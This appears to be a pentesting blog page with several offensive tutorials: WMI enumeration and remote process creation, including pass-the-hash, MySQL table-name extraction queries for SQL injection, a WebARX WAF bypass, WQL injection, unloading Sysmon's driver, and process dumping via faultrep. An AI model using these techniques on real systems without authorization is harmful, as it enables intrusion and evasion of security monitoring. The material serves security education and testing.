Normal view
Hijacking DLLs in Windows
PowerShell Obfuscation using SecureString
Spoofing Google Search results
WMI 101 for Pentesters
PowerShell has gained popularity with SysAdmins and for good reason. It’s on every Windows machine (and now some Linux machines as well), has capabilities to interact with almost every service on every machine on the network, and it’s a command-line utility. For the same exact reasons, PowerShell has also become a favourite method of attackers interacting with a victim machine. Because of this, organizations have gotten wise to this attack vector and have put measures in place to mitigate its use. But there’s another way! Many don’t know of another built-in Windows utility that actually pre-dates PowerShell and can also help them in their hacking pentesting engagements. That tool is Windows Management Instrumentation (WMI). This tutorial will be a small introduction to not only understand the usage of WMI to enumerate information from local and remote machines, but we’ll also show you how to start and kill processes! So let’s jump into WMI 101 for pentesters.
Background on WMI
I will keep this article at an introductory level to understand how to enumerate information at a high level. But as with most tutorials, let’s define some terms and provide some historical background. This may get dry but stick with me.
Windows Management Instrumentation (WMI) is Microsoft’s implementation of Web-based Business Management Standards (WBEM), the common information model (CIM) and the Distributed Management Task Force (DMTF). Microsoft has officially stated:
“Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems.”
So what does that mean? Simply, WMI stores a bunch of information about the local machine and allows you to access that data as well as manage Windows computers locally and remotely.
WMI came pre-installed in Windows 2000. It was made available as a download for Windows NT and Windows 95/98. For historical purposes, Monad, was born in 2002 with its first public appearance in 2003. In the spring of 2006, Monad was renamed Windows PowerShell and didn’t make a final release until November of 2006.
By default, WMI can be accessed by the Windows Script Host (WSH) languages such as VBScript and JScript. From Windows 7 PowerShell can be also used to access WMI. Furthermore, the IWbem COM API can be used with C/C++ and the ‘System.Management’ namespace with .Net languages such as C#, VB.Net and F#. Almost every popular programming languages such as Python, Ruby, PHP, Delphi, et al have third-party libraries or built-in libraries which support WMI.
The command-line interface to access WMI is called the Windows Management Instrumentation Command-line (WMIC). However, WMI can also be accessed directly with PowerShell. From PowerShell v3 onwards, CIM (Common Information Model) cmdlets can be found. The CIM cmdlets can be used to interact with WMI over WS-MAN (WinRM). These CIM cmdlets will aid us when WMI is blocked but WinRM is allowed on the target machine.
Exploring Namespaces
WMI namespaces can be explored in several different ways from using WMIC directly or by using PowerShell.
Using WMIC
C:\>wmic /namespace:\\root path __namespace Name subscription DEFAULT CIMV2 msdtc Cli SECURITY SecurityCenter2 RSOP District PEH StandardCimv2 WMI directory Policy Interop Hardware ServiceModel SecurityCenter Microsoft aspnet Appv
Using PowerShell
Get-WmiObject -namespace "root" -class "__Namespace" | Select Name
Another method is by using WQL, the WMI Query Language. Microsoft’s documentation defines WQL as, “a subset of standard American National Standards Institute Structured Query Language (ANSI SQL) with minor semantic changes to support WMI.” So, we can use commonly understood SQL statement in quotes such as:
Get-WmiObject -Query “Select * from __Namespace” -Namespace Root | select Name
Exploring Classes
To get a list of WMI classes of a specific Namespace using PowerShell, we can use the ‘List’ parameter. In this example we are listing the classes of default namespace, ‘root\cimv2’.
PS C:\>Get-WmiObject -Namespace root\cimv2 -List … Output Omitted … Win32_ShadowContext {} {Caption, ClientAccessible, Description Differential...} Win32_MSIResource {} {Caption, Description, SettingID} Win32_ServiceControl {} {Arguments, Caption, Description, Event...} Win32_Property {} {Caption, Description, ProductCode, Property...} Win32_Patch {} {Attributes, Caption, Description, File...} Win32_PatchPackage {} {Caption, Description, PatchID, ProductCode...} … Output Omitted …
Another method is by using “Get-CimClass” cmdlet:
Get-CimClass -Namespace root\cimv2
If we want only the classes that start with “win32” inside the “root\cimv2” namespace, we can use a wildcard like this:
Get-WmiObject -Namespace root\cimv2 -Class *Win32* -List
Furthermore, the tool WMI Explorer can be used to have a better view of the namespaces, classes and methods with descriptions and examples.
In summary, each Namespace contains Classes. Classes contain:
- Properties – Information that can be retrieved.
- Methods – Functions that be performed.
- Instances – Instances of the class objects. Each instance with Methods and Properties.
- Events – Produces notifications about changes in WMI data and services.
WMI Query Language – WQL
We briefly mentioned WQL in an example above, but let’s dive a little deeper. WQL queries can be directly accessed by the ‘wbemtest.exe’ binary and using PowerShell. WQL is used in scripting languages and programming languages when accessing WMI. For this article I will not go in depth regarding each type, however WQL Queries can be categorized as follows:
- Instance Queries
- Event Queries
- Meta Queries
Once you open the wbemtest binary, click on Connect and create a new connection to the required namespaces as shown above. If you are creating a connection to a remote machine, you can provide the credentials in this dialog box. In this example, I will connect to the default namespace ‘root\cimv2’.
After creating the connection, click on ‘Query’ to test a WQL query. In this example I will use the following query to enumerate files on the disk from the path “C:\temp”
Select * From Cim_DataFile Where Drive = "C:" And Path = "\\temp\\"
It will enumerate the files on the ‘temp´ folder and display the file name.
This is the PowerShell syntax for the same request:
Get-WmiObject -Query 'Select FileName From Cim_DataFile Where Drive = "C:" And Path = "\\temp\\"'
WMI Verbs
The following is for usage with WMIC:
- List – List Information
- Get – Retrieve values
- Call – Execute a method
- Set – Set value of a property
- Create – Creates a new instance
- Delete – Deletes an instance
- Assoc – Displays the Associators
Putting WMI All Together
Using WMIC
The following command can be used to list the aliases used in WMIC for the corresponding WQL Query.
wmic alias list brief
The list is much longer than what you see in the screenshot above. I highly recommend you try this on your own machine to see what I mean. Much lower in the list, you will find the ‘process’ alias, and it uses the “Select * from Win32_Process” WQL query. By using the alias, we can shorten the command in the following way:
wmic process where name='lsass.exe' list brief
In this next example, I am using the ‘get’ verb to retrieve specific properties from the class.
wmic process where name='winword.exe' get name, executablepath
This is an example of using the method ‘GetOwner’ to retrieve the owner of the target process.
wmic process where name='winword.exe' call GetOwner
To create a process we can use the ‘Create’ method. This is widely used by pentesters and in malware to create a remote process.
wmic process call create 'calc.exe'
To kill a process the ‘Terminate’ method can be used.
wmic process where name='notepad.exe' call Terminate
Using PowerShell
Now let’s try some similar activities using PowerShell. This time, let’s look for Word.
Get-WmiObject -Class Win32_Process -Filter 'name="winword.exe"'
Next, we’ll filter our data even more to get the information we want.
Get-CimInstance -Class Win32_Process -Filter "name='winword.exe'" -Property Caption, ProcessID, ExecutablePath
Using WQL
And how would this look using PowerShell and some WQL? Here, I am selecting the Caption, Process ID and the Executable Path properties from the ‘winword.exe’ process.
Get-WmiObject -Query "Select Caption,ProcessID,ExecutablePath from Win32_Process where name='winword.exe'" -Namespace root\cimv2
Using the CIM cmdlets you can retrieve all information or retrieve a specific property like this:
(Get-CimInstance -Query "Select * from Win32_Process where name='winword.exe'" -Namespace root\cimv2).ProcessID
Listing all the methods of the ‘Win32_Process’ Class can be done like this:
(Get-WmiObject -Class Win32_Process -List).Methods
For executing a method, the ‘Invoke-WmiMethod’ is used:
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe)
Using CIM we can call a method like this:
Invoke-CimMethod -ClassName Win32_Process -Name Create -Arguments @{Commandline = 'calc.exe'}
Remote WMIC
We also mentioned above that the same tools can be used over the network. This is the syntax you can use to accomplish the above example in remote computers:
WMIC
wmic /NODE:"servername" /USER:"yourdomain\administrator" /PASSWORD:password OS GET Name
Powershell
And, as we did before, here’s how it can be done using PowerShell:
$cred = Get-Credential domain\user Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(calc.exe) -ComputerName servername -Credential $cred
Furthermore, in Linux the tool ‘pth-wmic’ can be used to pass-the-hash instead of the password:
pth-wmic -U domain/adminuser%LM:NT //host "select * from Win32_ComputerSystem"
Conclusion
As you can see, WMI has loads of functionality, most of which have yet to be explored in this article. But even in the little we explored, you can clearly see that WMI can be used as an alternative when PowerShell is monitored or blocking certain scenarios. In a future article, we can play with WMI’s power in other ways good for pentesters such as using it as a C2C in engagements.
I hope this article covered the fundamentals of WMI usage and encouraged you to continue researching on your own. With that in mind, here’s a little homework. As with all useful technologies, there will eventually be a new version to expand on the capabilities proven by the previous version. Windows Management Instrumentation (WMI) is no different as it also has been updated to the Windows Management Infrastructure (MI). Microsoft says that MI is fully backwards compatible while reducing dev time and has tighter integration with Powershell. Go check it out and share what you discover.
Alternatives to Extract Tables and Columns from MySQL and MariaDB
I’ve previously published a post on extracting table names when /or/i was filtered which leads to filtering of the word information_schema. I did some more research into this area on my own and found many other tables where you can extract the table names. These are all the databases and tables I found where we can extract table names apart from ‘information_schema.tables’. I have tested the following in 5.7.29 MySQL and 10.3.18 MariaDB. There are 39 queries in total.
Sys
These views were added in MySQL 5.7.9.
mysql> SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE(); +-------------+ | object_name | +-------------+ | emails | | flag | | referers | | uagents | | users | +-------------+ 5 rows in set (0.04 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.01 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | db | | emails | | flag | | referers | | uagents | | users | +------------+ 6 rows in set (0.04 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | table_name | +------------+ | users | | emails | | referers | | uagents | | flag | +------------+ 5 rows in set (0.00 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | users | | flag | | referers | | uagents | +------------+ 5 rows in set (0.03 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | referers | | uagents | | emails | | users | | flag | +------------+ 5 rows in set (0.07 sec)
mysql> SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE(); +-------------+ | object_name | +-------------+ | emails | | flag | | referers | | uagents | | users | +-------------+ 5 rows in set (0.05 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | table_name | +------------+ | referers | | flag | | emails | | users | | uagents | +------------+ 5 rows in set (0.14 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | table_name | +------------+ | users | | emails | | referers | | uagents | | flag | +------------+ 5 rows in set (0.00 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | users | | emails | | referers | | uagents | | flag | +------------+ 5 rows in set (0.04 sec)
mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | users | | emails | | flag | | referers | | uagents | +------------+ 5 rows in set (0.09 sec)
Using these queries, you can get the table file paths stored locally on disk, along with it we can extract the table names.
mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE(); +---------------------------------+ | file | +---------------------------------+ | @@datadir\security\emails.ibd | | @@datadir\security\flag.ibd | | @@datadir\security\referers.ibd | | @@datadir\security\uagents.ibd | | @@datadir\security\users.ibd | | @@datadir\security\uagents.frm | | @@datadir\security\referers.frm | | @@datadir\security\users.frm | | @@datadir\security\emails.frm | | @@datadir\security\flag.frm | | @@datadir\security\db.opt | +---------------------------------+ 11 rows in set (0.22 sec)
mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE(); +---------------------------------+ | file | +---------------------------------+ | @@datadir\security\flag.ibd | | @@datadir\security\uagents.ibd | | @@datadir\security\flag.frm | | @@datadir\security\emails.frm | | @@datadir\security\emails.ibd | | @@datadir\security\referers.ibd | | @@datadir\security\referers.frm | | @@datadir\security\users.frm | | @@datadir\security\users.ibd | | @@datadir\security\uagents.frm | | @@datadir\security\db.opt | +---------------------------------+
mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE(); +-----------------------------------------------------------------------------+ | file | +-----------------------------------------------------------------------------+ | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt | +-----------------------------------------------------------------------------+
mysql> SELECT FILE FROM `sys`.`x$io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE(); +-----------------------------------------------------------------------------+ | file | +-----------------------------------------------------------------------------+ | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt | +-----------------------------------------------------------------------------+ 11 rows in set (0.00 sec)
The following tables store the queries used before like a log. You can use regular expressions to find what you need.
mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE(); +-----------------------------------------------------------------------------------------------------------------------------------+ | query | +-----------------------------------------------------------------------------------------------------------------------------------+ | SHOW TABLE STATUS FROM `security` | | SHOW CREATE TABLE `security` . `emails` | | SHOW CREATE TABLE `security` . `users` | | SHOW CREATE TABLE `security` . `referers` | +-----------------------------------------------------------------------------------------------------------------------------------+
mysql> SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE(); +-----------------------------------------------------------+ | query | +-----------------------------------------------------------+ | SHOW TABLE STATUS FROM `security` | | SHOW CREATE TABLE `security` . `emails` | | SHOW CREATE TABLE `security` . `users` | | SHOW CREATE TABLE `security` . `referers` | | SELECT * FROM `security` . `users` LIMIT ? | | SHOW CREATE TABLE `security` . `uagents` | | SHOW CREATE PROCEDURE `security` . `select_first_column` | | SHOW CREATE TABLE `security` . `users` | | SHOW OPEN TABLES FROM `security` WHERE `in_use` != ? | | SHOW TRIGGERS FROM `security` | | USE `security` | | USE `security` | +-----------------------------------------------------------+ 12 rows in set (0.01 sec)
Performance_Schema
mysql> SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE(); +---------------------+ | object_name | +---------------------+ | emails | | referers | | uagents | | users | | flag | | select_first_column | +---------------------+ 6 rows in set (0.00 sec)
mysql> SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE(); +-------------+ | object_name | +-------------+ | emails | | referers | | uagents | | users | | users | | users | | users | | users | | users | | users | | emails | | flag | | referers | | uagents | | users | | emails | | flag | | referers | | uagents | | users | +-------------+ 20 rows in set (0.00 sec)
mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE(); +-------------+ | object_name | +-------------+ | emails | | referers | | uagents | | users | | users | | flag | +-------------+ 6 rows in set (0.00 sec)
mysql> SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE(); +-------------+ | object_name | +-------------+ | emails | | referers | | uagents | | users | | flag | +-------------+ 5 rows in set (0.00 sec)
mysql> SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE(); +-------------+ | object_name | +-------------+ | emails | | referers | | uagents | | users | | flag | +-------------+ 5 rows in set (0.00 sec)
As mentioned before the following contains the log of all typed SQL queries. Sometimes you might find table names. For simplicity, I have used regular expressions to match the current database name.
mysql> SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE(); +-----------------------------------------------------------------------------------------------------------------------------------+ | digest_text | +-----------------------------------------------------------------------------------------------------------------------------------+ | SHOW CREATE TABLE `security` . `emails` | | SHOW CREATE TABLE `security` . `referers` | | SHOW CREATE PROCEDURE `security` . `select_first_column` | | SHOW CREATE TABLE `security` . `uagents` | +-----------------------------------------------------------------------------------------------------------------------------------+ 17 rows in set (0.00 sec)
Like before we are fetching the local table file paths.
mysql> SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE(); +-----------------------------------------------------------------------------+ | file_name | +-----------------------------------------------------------------------------+ | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm | +-----------------------------------------------------------------------------+ 11 rows in set (0.00 sec)
mysql> SELECT file_name FROM `performance_schema`.`file_summary_by_instance` WHERE file_name REGEXP DATABASE(); +-----------------------------------------------------------------------------+ | file_name | +-----------------------------------------------------------------------------+ | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.ibd | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\emails.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\referers.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\db.opt | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\uagents.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\users.frm | | D:\MySQL\mysql-5.7.29-winx64\mysql-5.7.29-winx64\data\security\flag.frm | +-----------------------------------------------------------------------------+ 11 rows in set (0.00 sec)
MySQL
mysql> SELECT table_name FROM `mysql`.`innodb_table_stats` WHERE database_name = DATABASE(); +------------+ | table_name | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.00 sec)
mysql> SELECT table_name FROM `mysql`.`innodb_index_stats` WHERE database_name = DATABASE(); +------------+ | table_name | +------------+ | emails | | emails | | emails | | flag | | flag | | flag | | referers | | referers | | referers | | uagents | | uagents | | uagents | | users | | users | | users | +------------+ 15 rows in set (0.00 sec)
Information_Schema
mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE CONSTRAINT_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.07 sec)
mysql> SELECT TABLE_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.00 sec)
However, the first column value can be retrieved in this case.
mysql> SELECT COLUMN_NAME FROM `information_schema`.`KEY_COLUMN_USAGE` WHERE table_schema = DATABASE(); +-------------+ | COLUMN_NAME | +-------------+ | id | | id | | id | | id | | id | +-------------+ 5 rows in set (0.00 sec)
mysql> SELECT TABLE_NAME FROM `information_schema`.`PARTITIONS` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.01 sec)
In this table, you can also use the column ‘column_name’ to get the first column of all tables.
mysql> SELECT TABLE_NAME FROM `information_schema`.`STATISTICS` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.00 sec)
mysql> SELECT TABLE_NAME FROM `information_schema`.`TABLE_CONSTRAINTS` WHERE TABLE_SCHEMA = DATABASE(); +------------+ | TABLE_NAME | +------------+ | emails | | flag | | referers | | uagents | | users | +------------+ 5 rows in set (0.00 sec)
mysql> SELECT file_name FROM `information_schema`.`FILES` where file_name regexp database(); +-------------------------+ | file_name | +-------------------------+ | .\security\emails.ibd | | .\security\flag.ibd | | .\security\referers.ibd | | .\security\uagents.ibd | | .\security\users.ibd | +-------------------------+ 5 rows in set (0.00 sec)
Starting from MySQL 5.6 InnoDB exists in Information_Schema.
mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE` WHERE TABLE_NAME REGEXP DATABASE(); +-----------------------+ | TABLE_NAME | +-----------------------+ | `security`.`emails` | | `security`.`referers` | | `security`.`uagents` | | `security`.`users` | | `security`.`flag` | +-----------------------+
mysql> SELECT TABLE_NAME FROM `information_schema`.`INNODB_BUFFER_PAGE_LRU` WHERE TABLE_NAME REGEXP DATABASE(); +-----------------------+ | TABLE_NAME | +-----------------------+ | `security`.`emails` | | `security`.`referers` | | `security`.`uagents` | | `security`.`users` | | `security`.`flag` | +-----------------------+ 5 rows in set (0.06 sec)
mysql> SELECT path FROM `information_schema`.`INNODB_SYS_DATAFILES` WHERE path REGEXP DATABASE(); +-------------------------+ | path | +-------------------------+ | .\security\users.ibd | | .\security\emails.ibd | | .\security\uagents.ibd | | .\security\referers.ibd | | .\security\flag.ibd | +-------------------------+ 5 rows in set (0.00 sec)
mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESPACES` WHERE NAME REGEXP DATABASE(); +-------------------+ | NAME | +-------------------+ | security/users | | security/emails | | security/uagents | | security/referers | | security/flag | +-------------------+ 5 rows in set (0.04 sec)
mysql> SELECT NAME FROM `information_schema`.`INNODB_SYS_TABLESTATS` WHERE NAME REGEXP DATABASE(); +-------------------+ | NAME | +-------------------+ | security/emails | | security/flag | | security/referers | | security/uagents | | security/users | +-------------------+ 5 rows in set (0.00 sec)
Column Names
Most of the time people ask me if there’s any method to extract column names? You don’t need to know the column names really.
If you have the error displayed you can straightaway get the number of columns using the below first query which makes the query equals to 1 returning us the error. To determine the number of columns in a boolean blind injection scenario you can do this trick which will return 0 (since the values aren’t equal). After that use the below third query to extract data
I hope these might come handy in your next pentest
Bypassing the WebARX Web Application Firewall (WAF)
WebARX is a web application firewall where you can protect your website from malicious attacks. As you can see it was mentioned in TheHackerNews as well and has good ratings if you do some Googling.
https://thehackernews.com/2019/09/webarx-web-application-security.html
It was found out that the WebARX WAF could be easily bypassed by passing a whitelist string. As you see the request won’t be processed by the WAF if it detects a whitelist string.
Let’s first try on their own website. This is a simple LFi payload.
Now if I include a whitelist string such as ithemes-sync-request
it would be easily bypassed.
XSS PoC
Here’s an XSS PoC where we pass a simple script tag. It detects the raw request when we pass normally.
But if we include ithemes-sync-request
parameter which is a whitelist string the script tag will get executed.
LFi PoC
Here’s a normal payload which will block.
Once we apply the whitelist string it’s bypassed.
SQLi PoC
Here’s a normal payload which will block.
Once we apply the whitelist string it’s bypassed.
These whitelist strings are more like a kill switch for this firewall. I’m not quite sure the developers of this project understands the logic behind it. It’s more like coded by an amateur programmer for a university assignment.
[tweet https://twitter.com/webarx_security/status/1181655018442760193]
WQL Injection
Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?
I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.
This is the WQL Query.
SELECT * FROM win32_service where Name='User Input'
As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method.
BSTR input = L"SELECT * FROM win32_service where Name='User Input'"; if (FAILED(hRes = pService->ExecQuery(L"WQL", input, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator))) { pLocator->Release(); pService->Release(); cout << "Unable to retrive Services: 0x" << std::hex << hRes << endl; return 1; } IWbemClassObject* clsObj = NULL; int numElems; while ((hRes = pEnumerator->Next(WBEM_INFINITE, 1, &clsObj, (ULONG*)&numElems)) != WBEM_S_FALSE) { if (FAILED(hRes)) break; VARIANT vRet; VariantInit(&vRet); if (SUCCEEDED(clsObj->Get(L"Name", 0, &vRet, NULL, NULL)) && vRet.vt == VT_BSTR) { wcout << L"Name: " << vRet.bstrVal << endl; VariantClear(&vRet); }
Once the user enters a service name the application will display its members.
I was thinking if it’s possible to make the query true and return all the services of the target host. Something like id=1 or 1=1 in SQLi where we make the statement logically true.
Since the user input is not properly sanitized in this case we can use the and keyword and enumerate all the services by using the like keyword.
SELECT * FROM win32_service where Name='Appinfo' or name like '[^]%'
You could simply use “%” as well.
This is just a simple demonstration to prove WQL injection. I’m sure there might be better cases to demonstrate this. However, Extended WQL which is a superset of the WQL can be used to combine statements and do more cool stuff. It’s used by the System Center Configuration Manager – SCCM. Always sanitize the input of the application.
You can download the applications from here to play around.
https://github.com/OsandaMalith/WMI/releases/download/1/WinServiceInfo.7z
Unloading the Sysmon Minifilter Driver
The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:
fltMC unload SysmonDrv
If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.
Here’s a simple C code I wrote to call the ‘FilterUnload’ API.
https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c
[gist https://gist.github.com/OsandaMalith/3315bc640ff51227ab067052bc20a445]
Note that when unloading a minifilter driver by the FilterManager, it will be logged under the System log.
References:
https://www.osr.com/nt-insider/2017-issue2/introduction-standard-isolation-minifilters/
MiniDumpWriteDump via Faultrep!CreateMinidump
I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.
The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.
CreateMinidumpW(DWORD dwProcessId, LPCWSTR lpFileName, struct tagSMDumpOptions *)
dbgcore.dll!_MiniDumpWriteDump@28 faultrep.dll!InternalGenerateMinidumpEx(void *,unsigned long,void *,struct tagSMDumpOptions *,unsigned short const *,int) faultrep.dll!InternalGenerateMinidump(void *,unsigned long,unsigned short const *,struct tagSMDumpOptions *,int) faultrep.dll!CreateMinidumpW(unsigned long,unsigned short const *,struct tagSMDumpOptions *)
As you see it calls the dbghelp!MiniDumpWriteDump by loading the dbghelp.dll using the LoadLibraryExW API.
However, this function ‘faultrep.dll!InternalGenerateMinidumpEx’ doesn’t provide a full dump. As you can see it passes 0x21 or it compares the 3rd argument which is a structure and based on that value it passes 0x325.
0x21 = MiniDumpWithDataSegs | MiniDumpWithUnloadedModules 0x325 = MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithProcessThreadData | MiniDumpWithUnloadedModules
What you could do is, patch it to a 0x2 to make it a ‘MiniDumpWithFullMemory’. You can find the 64-bit version of the patched DLL from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump
This is the PoC of calling this API. You can copy the DLL from Windows XP and it will work fine. Not sure how this is useful. Just sharing what I found
